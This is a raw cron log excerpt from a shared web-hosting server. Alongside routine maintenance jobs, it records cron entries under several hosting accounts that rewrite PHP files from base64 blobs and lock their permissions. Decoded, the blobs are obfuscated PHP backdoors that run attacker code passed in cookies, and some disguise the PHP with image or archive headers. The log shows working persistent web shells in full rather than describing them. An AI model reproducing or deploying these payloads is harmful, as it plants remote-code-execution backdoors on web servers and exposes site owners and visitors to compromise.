"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:13:01 medusa CROND[3822]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:13:01 medusa CROND[3824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:13:01 medusa CROND[3828]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:13:01 medusa CROND[3834]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 21:14:01 medusa CROND[23730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:14:01 medusa CROND[23731]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:14:01 medusa CROND[23735]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:14:01 medusa CROND[23734]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:14:01 medusa CROND[23736]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:14:01 medusa CROND[23739]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:14:01 medusa CROND[23740]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:14:01 medusa CROND[23748]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:14:01 medusa CROND[23749]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:14:01 medusa CROND[23750]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 21:14:01 medusa CROND[23751]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:14:01 medusa CROND[23765]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:14:01 medusa CROND[23764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:15:01 medusa CROND[12390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:15:01 medusa CROND[12483]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 21:15:01 medusa CROND[12583]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:15:01 medusa CROND[12589]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 21:15:01 medusa CROND[12592]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 21:15:01 medusa CROND[12594]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:15:01 medusa CROND[12595]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 21:15:01 medusa CROND[12593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:15:01 medusa CROND[12603]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 21:15:01 medusa CROND[12601]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 21:15:01 medusa CROND[12598]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 21:15:01 medusa CROND[12609]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:15:01 medusa CROND[12610]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:15:01 medusa CROND[12612]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:15:01 medusa CROND[12613]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:15:01 medusa CROND[12616]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 21:15:01 medusa CROND[12614]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 21:15:01 medusa CROND[12621]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1I